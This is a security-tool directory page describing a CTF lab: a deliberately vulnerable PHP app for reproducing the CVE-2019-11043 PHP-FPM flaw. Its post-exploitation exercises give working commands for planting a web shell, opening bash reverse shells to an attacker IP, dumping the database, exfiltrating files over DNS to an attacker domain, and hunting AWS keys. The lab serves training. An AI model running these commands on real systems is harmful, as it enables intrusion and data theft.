Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ctf-cve-2019-11043 — 故意易受攻击的PHP应用,带有Nginx/PHP-FPM设置,用于复现CVE-2019-11043,包括Docker和Kubernetes部署、利用后练习,以及与phuip-fpizdam的集成。 | Kitploit
工具/GitHubGitHub/a1ex-var1amov/ctf-cve-2019-11043
权限提升容器安全漏洞分析Web应用程序漏洞利用数据泄露后渗透利用CTF云安全学习与教育数据库安全实验室与实践
GitHub
41年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
a1ex-var1amov/ctf-cve-2019-11043

ctf-cve-2019-11043

故意易受攻击的PHP应用,带有Nginx/PHP-FPM设置,用于复现CVE-2019-11043,包括Docker和Kubernetes部署、利用后练习,以及与phuip-fpizdam的集成。

查看仓库

任务管理应用(CVE-2019-11043 实验环境)

一个极简的PHP应用,带有故意易受攻击的Nginx/PHP-FPM配置,用于复现CVE-2019-11043。包含一个小型任务管理器、登录/管理员功能和数据库配置界面。

构建与运行(Docker)

root@kitploit:~
# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/

漏洞利用快速开始

使用 phuip-fpizdam 针对 status.php,让它检测参数,然后使用 --skip-detect 重新运行。

root@kitploit:~
~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"

数据库支持

该应用支持 SQLite 和 MySQL,并自动检测:

SQLite(默认)

  • DSN: sqlite:/var/www/html/data/app.sqlite
  • 无需身份验证
  • 自动设置 - 首次运行时创建数据库文件
  • 非常适合开发和测试

MySQL(可选)

  • DSN: mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4
  • 需要用户名/密码身份验证
  • 环境变量覆盖 用于 Kubernetes 部署

环境变量

当设置这些环境变量时,它们会自动覆盖 DSN:

  • DB_HOST - 数据库主机名
  • DB_PORT - 数据库端口(默认:3306)
  • DB_NAME - 数据库名称
  • DB_USER - 数据库用户名
  • DB_PASS - 数据库密码

自动迁移

  • 该应用通过请求按需运行迁移(例如 index.php、login.php、admin.php)。
  • K8s 探针访问 /health.php,该页面也会验证数据库连接。
  • 无需外部迁移任务或本地 PHP。

Kubernetes(EKS)部署

清单文件位于 k8s/ 目录下:

  • k8s/secret.yaml:MySQL 凭据(stringData 占位符)
  • k8s/mysql-deployment.yaml:MySQL Deployment + Service
  • k8s/app-deployment.yaml:应用 Deployment(特权模式)+ Service;挂载 secret 并设置数据库环境变量
  • k8s/ingress.yaml:将流量路由到应用的 Nginx Ingress

镜像占位符使用 quay.io – 将 quay.io/your-org/cve-2019-11043-lab:app 改为你自己的仓库。

应用顺序:

root@kitploit:~
kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml

Ingress 假设已部署 Nginx Ingress Controller,并且 taskapp.local DNS/hosts 指向其地址。

项目结构

  • public/:Web 根目录(入口点)
  • app/:应用助手(配置、数据库、认证、版本)
  • php/:PHP-FPM ini 覆盖配置
  • k8s/:Kubernetes 清单文件
  • data/:运行时数据(SQLite 数据库、配置)

默认管理员

在 /login.php 使用 admin / admin 登录(UI 提示被 CSS 隐藏)。

数据库配置界面

以管理员身份访问 /db_config.php 以:

  • 查看当前数据库状态和类型
  • 在 SQLite 和 MySQL 之间切换
  • 配置连接参数
  • 查看两种数据库类型的连接示例

免责声明

这是一个故意存在漏洞的环境。请勿暴露给不受信任的网络。

多平台镜像构建(Buildx)

构建并推送多架构镜像(linux/amd64, linux/arm64)到 quay.io。

先决条件:Docker Buildx(Docker Desktop 已包含)。可选 QEMU 模拟:docker run --privileged --rm tonistiigi/binfmt --install all。

root@kitploit:~
# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"

使用 phuip-fpizdam 进行端到端操作(复制/粘贴)

设置目标:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"

利用(自动检测,然后最终运行):

root@kitploit:~
~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"

放置一个小型 Web shell 并验证执行:

root@kitploit:~
# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"

继续下面的后渗透实验练习,用于获取反向 shell、MySQL 导出、DNS TXT 外传、linPEAS 和 AWS 密钥搜索。

后渗透实验练习(仅限本实验)

这些步骤仅用于本实验环境中的教育用途。

设置你的基础 URL 和攻击者 IP:

root@kitploit:~
BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444

1) 获取命令执行并放置一个简单的 Web shell

在你利用 CVE-2019-11043 使用 phuip-fpizdam 之后,利用 RCE 原语写入一个微小的 Web shell。如果你已经在容器内有一个 shell,运行:

root@kitploit:~
# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null

如果你只有 RCE(没有 shell),通过 RCE 原语(例如通过漏洞利用工具)运行相同的 base64 写入。

验证:

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

2) whoami

root@kitploit:~
curl -s "$BASE/sh.php?c=whoami"

3) 尝试反向 shell(bash /dev/tcp)

在你的攻击者主机上:

root@kitploit:~
nc -lvnp "$ATTACKER_PORT"

从目标触发(URL 编码后的命令):

root@kitploit:~
ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

如果 bash 不可用,尝试:

root@kitploit:~
ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

4) MySQL 备份(导出)

选项 A(集群操作员路径):

root@kitploit:~
kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz

选项 B(通过 Web shell 使用 PHP PDO):编写一个使用应用配置的快速导出脚本:

root@kitploit:~
# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json

5) 通过 DNS TXT 外传(示例)

将你控制的测试域名(例如 exf.attacker.tld)指向你捕获的域名服务器(例如 dnschef 或 bind)。然后从目标触发携带块的 DNS 查找:

root@kitploit:~
# minimal PHP-based exfil using DNS queries
PHPONE='php -r '\''$d=file_get_contents("/var/www/html/public/dump.php");$b=base64_encode($d);$c=str_split($b,40);foreach($c as $i=>$x){gethostbyname("$i.".$x.".exf.attacker.tld");usleep(50000);} echo "done\n"; '\''' 
curl -g --data-urlencode c="$PHPONE" "$BASE/sh.php"

在域名服务器上观察查询;从标签重建。

6) 拉取并运行 linPEAS(特权提升枚举)

root@kitploit:~
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

7) 搜索 AWS 密钥

root@kitploit:~
# env vars
curl -s "$BASE/sh.php?c=env" | grep -E 'AWS_|AKIA'

# filesystem (possible secrets mounted, configs, code)
curl -s "$BASE/sh.php?c=grep -R --exclude-dir=proc --exclude-dir=sys -E "'"'AKIA[0-9A-Z]{16}'"'" / 2>/dev/null"

# instance metadata (if reachable; usually blocked from pods)
curl -s "$BASE/sh.php?c=curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/" || true

再次提醒:仅在本实验内执行这些操作。切勿对不属于自己或未经明确授权评估的系统进行测试。

下载工具